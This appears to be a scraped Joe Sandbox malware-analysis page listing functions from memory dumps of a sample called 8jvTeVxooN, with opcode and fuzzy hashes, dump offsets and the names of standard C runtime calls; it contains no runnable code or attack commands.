Opcode ID: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction ID: 47aeaaac46cadc797a226e4c34e547b17c64e59c69488b17d9ed8be6dbaff1af
Opcode Fuzzy Hash: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction Fuzzy Hash: 3DB14D72700B164BD728EEA9DC91796B3E3AB84326F8EC73C9046C6F55F2BCA4454680

Uniqueness

Uniqueness Score: -1.00%

Function 05E7CA10 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: c5361d71361ca41cbea96e52f9116a55b479e711cdf1037976be613344b9b2b6
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: E0C19EB5E003199FDB54CFA9C881AEEFBF1FF48204F24856AD959E7301E334AA458B54

Uniqueness

Uniqueness Score: -1.00%

Function 05E75DE7 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction ID: 788992113b480221d52f3303d124d334a5510f67de1efe65feb1d98208c01f69
Opcode Fuzzy Hash: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction Fuzzy Hash: 0DB18470039FA686CBD3FF30911024BF7E0BFC525DF44194AD59986864EB3EE94E9215

Uniqueness

Uniqueness Score: -1.00%

Function 05E77520 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction ID: a7dc6b66651e76f02cbaf2744e72fadd9cd097af0603b126ebf4df14474b76e9
Opcode Fuzzy Hash: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction Fuzzy Hash: 08912573D187BA06D7609EAF8C441B9B7E3AFC4210F9B077ADD9467282C9309E0697D0

Uniqueness

Uniqueness Score: -1.00%

Function 05E7C760 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction ID: d1ad4f6599c8723cd03c04c3dc7f464605821168bf36bacb277e33bbeb2cd62a
Opcode Fuzzy Hash: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction Fuzzy Hash: 3AB17AB5E002199FCB84CFE9C885ADEFBF0FF48210F64916AD919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 05E7A916 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction ID: 0b8563fd1a4c97a2c606d1d79d62e35cc40176122ae63ac50ebb20a7873ea25d
Opcode Fuzzy Hash: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction Fuzzy Hash: 5F71D473A20B254B8314DEB98D94192F2F1EF88610B57C27CCE85D7B41EB31B95A96C0

Uniqueness

Uniqueness Score: -1.00%

Function 05E759F7 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction ID: 91b0eda8b8da26abd0b06f3114d9b400c34fed407b83ea2533c0b5a2b10566ca
Opcode Fuzzy Hash: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction Fuzzy Hash: E28138B2A047019FC328CF19D88566AF7E1FFD8214F15892EE99E83B41D770F8558B92

Uniqueness

Uniqueness Score: -1.00%

Function 05E78E60 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction ID: 685b82f5d4c06272353d17d07a6fddafc192c4734be0889de68d0da7ff8ae6d4
Opcode Fuzzy Hash: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction Fuzzy Hash: 37710622535B7A0AEBC3DA3D881046BF7E0BE4910AB850956DCD0F3181D72EDE4E77A4

Uniqueness

Uniqueness Score: -1.00%

Function 05E7A699 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction ID: 53b08870eb8abe53f9702545c9f5cfe2fd43ac8e4998c6c767bf5dc85cefd033
Opcode Fuzzy Hash: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction Fuzzy Hash: AB813876A10B6A9BD754CF2AD8C045AFBF1FB08211B518A3ADCA583B40D334F565CF94

Uniqueness

Uniqueness Score: -1.00%

Function 05E79120 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction ID: 9cb38791a22f768b7483143bbe54c57f10784d3b0bfbb127ac84be7e767723c1
Opcode Fuzzy Hash: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction Fuzzy Hash: A461A3339046BB5BDB649E6DD8401A9B7A2BFC4310F5B8A75DC9823642C234EA11DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 05E77A80 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction ID: 46b64dc53d1a041c917cc2343f577c82782bbd981ad45ef227f3d05d22d5f2c9
Opcode Fuzzy Hash: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction Fuzzy Hash: 98617C37912A2B9BD761DF59D84527AB3A2EFC4360F6B8A358C0427642C734F9119BC4

Uniqueness

Uniqueness Score: -1.00%

Function 05E77880 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction ID: bba888b061cb205a8644fcd46a76d72c1fa4ad3b101d559d681f88953e17a639
Opcode Fuzzy Hash: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction Fuzzy Hash: F651DD229257B945EBC3DA3D88504AEBBE0BE49106B460557DCD0B3181C72EDE4DB7E4

Uniqueness

Uniqueness Score: -1.00%

Function 05E77220 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction ID: f0ef39fb87bbcbabf7c087ccc32622f448b38fccad3fa450d398332d7bff4148
Opcode Fuzzy Hash: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction Fuzzy Hash: C4417C72E1872E47E34CFE169C9421AB39397C0250F4A8B3CCE5A973C1DA35B926C6C1

Uniqueness

Uniqueness Score: -1.00%

Function 0443571C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634521884.0000000004434000.00000040.00000020.00020000.00000000.sdmp, Offset: 04434000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4434000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: 9301b04df60f4afa8fd4edc132d0b44121c1974225ed46e0b0b3bd85d9f10c74
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: 8C316939806241EFDF19CE70D891AB6BB70EF8B725F18899ED0818B102D3356057C794

Uniqueness

Uniqueness Score: -1.00%

Function 05E770E0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction ID: 0490d86b4bce045c3c4fd50df124024f9d30e3e971c92668636fd4ef92e6cccb
Opcode Fuzzy Hash: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction Fuzzy Hash: 40315E7682976A4FC3D3FE61894010AF291FFC5118F4D4B6CCD505B690D73EAA4A9A82

Uniqueness

Uniqueness Score: -1.00%

Function 05E77393 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction ID: f58d6e5cd0a9a424fadd5f27b2f1f219a80f3804e2e8e3c1afc0734d5bfe6fd3
Opcode Fuzzy Hash: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction Fuzzy Hash: F03126706183459FD741EF29D480A4BFBE0FFC8298F01E919F9889B221D730E984CB62

Uniqueness

Uniqueness Score: -1.00%

Function 05E918D0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 079fcd619402030000172831f28beb2045ce8df189599dc7396d57fcc5c61020
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: A61108B724914347FE1CC62ED4B85B6E3D6FBC626972C627AD1C34B658D122E145D500

Uniqueness

Uniqueness Score: -1.00%

Function 05E7B000 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction ID: 0289c89f4fd905f054af443194388bf839918c384d18e0def7f251d7801cde05
Opcode Fuzzy Hash: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction Fuzzy Hash: F211300A4492C4BDCF424A7840E56EBEFA58E27218F5A71DA84C44B743D01B150FE761

Uniqueness

Uniqueness Score: -1.00%

Function 05E70042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: f5a884b0af4f50cdd1c82ab09f8116a65ea7c3edb0eb6ec27841fd74962af873
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 53118E72340104AFEB54DF65DC98FA677EAFB88230B198565ED48CB351E676E801CB60

Uniqueness

Uniqueness Score: -1.00%

Function 044340A3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634521884.0000000004434000.00000040.00000020.00020000.00000000.sdmp, Offset: 04434000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4434000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 6da465369d05c69fdc20d3356891ef395a4e2fc7753b03a7cb9ecd5a91cb2326
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 9F117C72340100AFDB54DF55DC80EE673EAEB9D621B19806AED08CB312E676EC42C760

Uniqueness

Uniqueness Score: -1.00%

Function 05E7A79A Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction ID: 11d11012c1d1e5902c0a8b816ab45404726139b67d4a3837117795507ba0f74e
Opcode Fuzzy Hash: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction Fuzzy Hash: 3F0128768106669BD710DF3ED8C045AFBF1FB082117528B3ADC9083A41D334E662DBE4

Uniqueness

Uniqueness Score: -1.00%

Function 05E96437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 05E9644E

Part of subcall function 05E99636: __calloc_impl.LIBCMT ref: 05E99645

__calloc_crt.LIBCMT ref: 05E96472
_free.LIBCMT ref: 05E96480
__calloc_crt.LIBCMT ref: 05E9648E
_free.LIBCMT ref: 05E9649E
_free.LIBCMT ref: 05E964A4
__copytlocinfo_nolock.LIBCMT ref: 05E964B3
__setmbcp_nolock.LIBCMT ref: 05E964D4
_free.LIBCMT ref: 05E964E2
___removelocaleref.LIBCMT ref: 05E964E9
___freetlocinfo.LIBCMT ref: 05E964F0
_free.LIBCMT ref: 05E964F6

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 791eaa91dc6bbdba26f055186ba0bd63f0589e9e634cd5ac9e8e5146a800c099
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 9C21F071308201AFEF3E7FA5DC09E9B7BE5FF41664B50A42EE4C6590A1FA228500CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05E93F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05E93F51

Part of subcall function 05E95BA8: __getptd_noexit.LIBCMT ref: 05E95BA8

__gmtime64_s.LIBCMT ref: 05E93FEA
__gmtime64_s.LIBCMT ref: 05E94020
__gmtime64_s.LIBCMT ref: 05E9403D
__allrem.LIBCMT ref: 05E94093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E940AF
__allrem.LIBCMT ref: 05E940C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E940E4
__allrem.LIBCMT ref: 05E940FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E94119
__invoke_watson.LIBCMT ref: 05E9418A

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 7d99027b71181c64235e5137671c506130df22f641ef1038ade744d80c30ddf8
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: B171E872B00716ABEF289E79CC48BAAB3F9BF14364F145539E994D76C0E770E9018790

Uniqueness

Uniqueness Score: -1.00%

Function 05E9650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 05E96547
__calloc_crt.LIBCMT ref: 05E96598
__lock.LIBCMT ref: 05E965AE
__copytlocinfo_nolock.LIBCMT ref: 05E965BF
_wcscmp.LIBCMT ref: 05E965F9
__lock.LIBCMT ref: 05E96610
__updatetlocinfoEx_nolock.LIBCMT ref: 05E96622
___removelocaleref.LIBCMT ref: 05E96628
__updatetlocinfoEx_nolock.LIBCMT ref: 05E96647

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 17184d067adeef642a5d7c4f72e49c6c3c8ef0b62251d80be2fb34a64c31bcfa
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 00416732A04308AFEF18EFA4DC88B9E3BE5FF44314F10642EE9C496192DB759645DB51

Uniqueness

Uniqueness Score: -1.00%

Function 05E984AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 05E984B1
_free.LIBCMT ref: 05E984E2
_free.LIBCMT ref: 05E984F5
_free.LIBCMT ref: 05E98513
_free.LIBCMT ref: 05E98525
_free.LIBCMT ref: 05E98536
_free.LIBCMT ref: 05E98541
_free.LIBCMT ref: 05E98565
_free.LIBCMT ref: 05E98581
_free.LIBCMT ref: 05E98597
_free.LIBCMT ref: 05E985BF

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: c220be4c04fde02605cd07d84058a23ae0bc09c6c37980f867c426bb80bfa523
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 1831E571A08251DFDF2D5F14FC84C8977A4FB15324305A66AE9C5572B0CBB459C8EF90

Uniqueness

Uniqueness Score: -1.00%

Function 05EBFC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05EBFC1F

Part of subcall function 05EA169C: std::exception::_Copy_str.LIBCMT ref: 05EA16B5

__CxxThrowException@8.LIBCMT ref: 05EBFC34
std::exception::exception.LIBCMT ref: 05EBFC4D
__CxxThrowException@8.LIBCMT ref: 05EBFC62
std::regex_error::regex_error.LIBCPMT ref: 05EBFC74

Part of subcall function 05EBF914: std::exception::exception.LIBCMT ref: 05EBF92E

__CxxThrowException@8.LIBCMT ref: 05EBFC82
std::exception::exception.LIBCMT ref: 05EBFC9B
__CxxThrowException@8.LIBCMT ref: 05EBFCB0

Strings

leM, xrefs: 05EBFCA8

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 540991c2d90e756068baa2a8d1cd55ac9f4ac24c788b6753b27e9ab6380c4e07
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: D011EC79D0020DBBCF04FFB5D859CDEBB7CAA44284F4085A6AD649B240EB74A348CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05E7F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 05E7F01F

Part of subcall function 05E91602: __FF_MSGBANNER.LIBCMT ref: 05E91619
Part of subcall function 05E91602: __NMSG_WRITE.LIBCMT ref: 05E91620

_malloc.LIBCMT ref: 05E7F02B
_wprintf.LIBCMT ref: 05E7F03E
_free.LIBCMT ref: 05E7F044
_free.LIBCMT ref: 05E7F065
_malloc.LIBCMT ref: 05E7F06D
_sprintf.LIBCMT ref: 05E7F0C0
_wprintf.LIBCMT ref: 05E7F0D2
_wprintf.LIBCMT ref: 05E7F0DC
_free.LIBCMT ref: 05E7F0E5

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: ad5500cd42d0e76ac7e8d59bc0d1b67b70c2db758be306fcc787587518c9817d
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: A21136B6A005947ADB75B6B55C19EFF3BDC9F45702F0410A9FBDCD1280DA185A04D3B1

Uniqueness

Uniqueness Score: -1.00%

Function 05E81960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E819C6
__CxxThrowException@8.LIBCMT ref: 05E819F1
__CxxThrowException@8.LIBCMT ref: 05E81A1A
__CxxThrowException@8.LIBCMT ref: 05E81A4B
_memset.LIBCMT ref: 05E81A6A
__CxxThrowException@8.LIBCMT ref: 05E81A90
_malloc.LIBCMT ref: 05E81AA0
_memset.LIBCMT ref: 05E81AAB
_sprintf.LIBCMT ref: 05E81ACE

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 956938c0167230b4550b2a463b7e1c2cadd3bb5d08e8010f1e5c304e9e9785ab
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 60515C71E40209ABEF11EBA5DC89FEFBBB8FB04744F141065F949B6180E7746A01CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05E7F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E7F284
__CxxThrowException@8.LIBCMT ref: 05E7F2AF
__CxxThrowException@8.LIBCMT ref: 05E7F2DE
__CxxThrowException@8.LIBCMT ref: 05E7F30F
_memset.LIBCMT ref: 05E7F32E
__CxxThrowException@8.LIBCMT ref: 05E7F354
_sprintf.LIBCMT ref: 05E7F373

Memory Dump Source

Source File: 00000000.00000002.1634605529.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 3c433b6c46232602b7aec4a0bd9afad60581b7be704814b1d880aca4c4df4740
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
